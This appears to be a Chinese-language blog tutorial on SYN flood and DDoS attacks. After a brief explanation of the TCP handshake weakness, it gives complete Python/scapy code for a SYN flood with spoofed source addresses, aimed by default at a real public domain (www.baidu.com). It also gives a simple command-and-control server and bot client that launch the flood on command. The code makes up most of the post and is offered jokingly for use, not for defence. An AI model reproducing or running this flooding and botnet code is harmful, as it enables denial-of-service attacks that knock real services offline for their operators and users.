?
?
?
背景:
網絡傳輸層中,一般采用TCP協議,如果要建立連接,客戶端會先發送syn包請求,服務器接收,接收后,再傳遞給客戶端ack,syn包,這個時候,客戶端再次回應,傳回ack包。可是問題就出在,如果我是客戶端,只發送一個請求syn包,然后第三次握手的時候,不再往回傳ack包,此時服務端是不是就要等待?
在等待的時間里,我是不是可以偽造更多的請求,從而不斷消耗服務器的資源,然后直到最后服務器停止服務為止?
上述這種攻擊就是syn泛洪攻擊。
?
python中scapy庫來實現syn泛洪攻擊:
python3安裝方式:
sudo pip3 install scapy-python3
注意:scapy庫的代碼必須運行在root權限下
?
基本用法:
from scapy.all import *
# 定義一個syn包,其中的格式如下:IP()/TCP(),IP中的src為自己的偽造的ip,dst為目標ip,
# TCP中的dport為目標端口號,網絡中普遍為80,flages=‘S’這里的s代表設置的是syn包
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
# 發送包,直接用send
send(pkt)
?
具體來一個例子:
#!/usr/bin/env python3
import random
import socket
import time
from scapy.all import *
# 定義syn洪流函數,tgt為目標ip,dPort為目標端口
def synFlood(tgt,dPort):
# 先任意偽造4個ip地址
srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
'125.130.5.199']
# 選擇任意一個端口號
for sPort in range(1024, 65535):
index = random.randrange(4)
# 類似上面那個代碼構造IP/TCP包,然后send
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
packet = ipLayer/tcpLayer
send(packet)
domain = "www.baidu.com" #定義你想攻擊的域名,不建議是百度哈,別怪我沒提醒
tgt = socket.gethostbyname(domain) #利用socket的方法獲取域名的ip地址,即dns解析
print(tgt) # 可以打印出來看一下
dPort = 80 # 網絡傳輸常用端口號
synFlood(tgt,dPort) #調用syn洪流函數,然后發送syn包
# 發送完后就可以去看看這個服務器的響應速度了。一般是持續發送幾分鐘,這個網站就訪問不了了
# 前提是這個網站很渣。。哈哈
DDoS攻擊
而DDoS攻擊是啥?其實就類似上面這個syn洪流,只是DDoS采用的是多個客戶端在服務器的命令下,一起像一個網站攻擊,類似這樣
其實現原理跟syn是一樣的,只是他采用了服務端可以直接控制客戶端然后發出請求。
具體的服務端與客戶端代碼我就直接帖上了
服務端:
import socket
import argparse
import threading
socketList = []
# 發送命令到所有的客戶機上
def sendCmd(cmd):
print('Send command....')
for sock in socketList:
sock.send(cmd.encode())
# 等待連接,將建立好的連接加入到socketList列表中
def waitConnect(s):
while True:
sock, addr = s.accept()
if sock not in socketList:
socketList.append(sock)
def main():
# 創建tcp服務端
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) #設置端口重用
s.bind(('0.0.0.0',58868))
s.listen(1024)
# 線程創建等待連接請求
t = threading.Thread(target=waitConnect, args=(s,))
t.start()
print("Wait at least a client connection!")
while not len(socketList): # 沒有連接則一直等待
pass
print("It has been a client connection")
while True:
print('='*50)
# 命令格式
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"')
# 等待輸入命令
cmd_str = input('please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
if __name__ == '__main__':
main()
客戶端:
import argparse
import socket
import sys
import os
from multiprocessing import Process
import random
from scapy.all import *
curProcess = None
# SYN泛洪攻擊,就是最開始的那串代碼,直接copy過來就好
def synFlood(tgt, dPort):
print("="*100)
print("The syn flood is running")
print('='*100)
srcList = ['11.1.1.2', '10.1.1.102', '33.1.1.2',
'125.130.5.199']
# 任意一個端口號
for sPort in range(1024, 65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort, flags='S')
packet = ipLayer / tcpLayer
send(packet)
def cmdHandle(sock, parser):
global curProcess
while True:
data = sock.recv(1024).decode()
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
# 解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
# print(m_cmd)
# DDOS啟動命令
if m_cmd.lower() == 'start':
if curProcess !=None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood, args = (m_host, m_port))
p.start()
curProcess = p
elif m_cmd.lower() == 'stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print("Failed to perform the command")
def main():
# 添加需要解析的命令,就是服務器發送過來的命令
# 命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port',type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
# 創建socket對象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 這里因為是在本地,所以連接的ip地址為本地ip地址127.0.0.1,端口為服務器端口
s.connect(('127.0.0.1',58868))
print('To connected server was success')
print("=" * 40)
# 處理命令
cmdHandle(s, p)
except Exception as e:
print('The network connected failed')
print('please restart the script')
sys.exit(0)
if __name__ == '__main__':
main()
然后到這里就可以在本地先開啟服務端,再開啟客戶端來實現了哈
記得用sudo哈
當看到客戶端是這樣的時候
哈哈,完成了。
?
不過,其實質是跟syn洪流一樣哈。只是多了一個包裝而已。
?
END
?
?
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
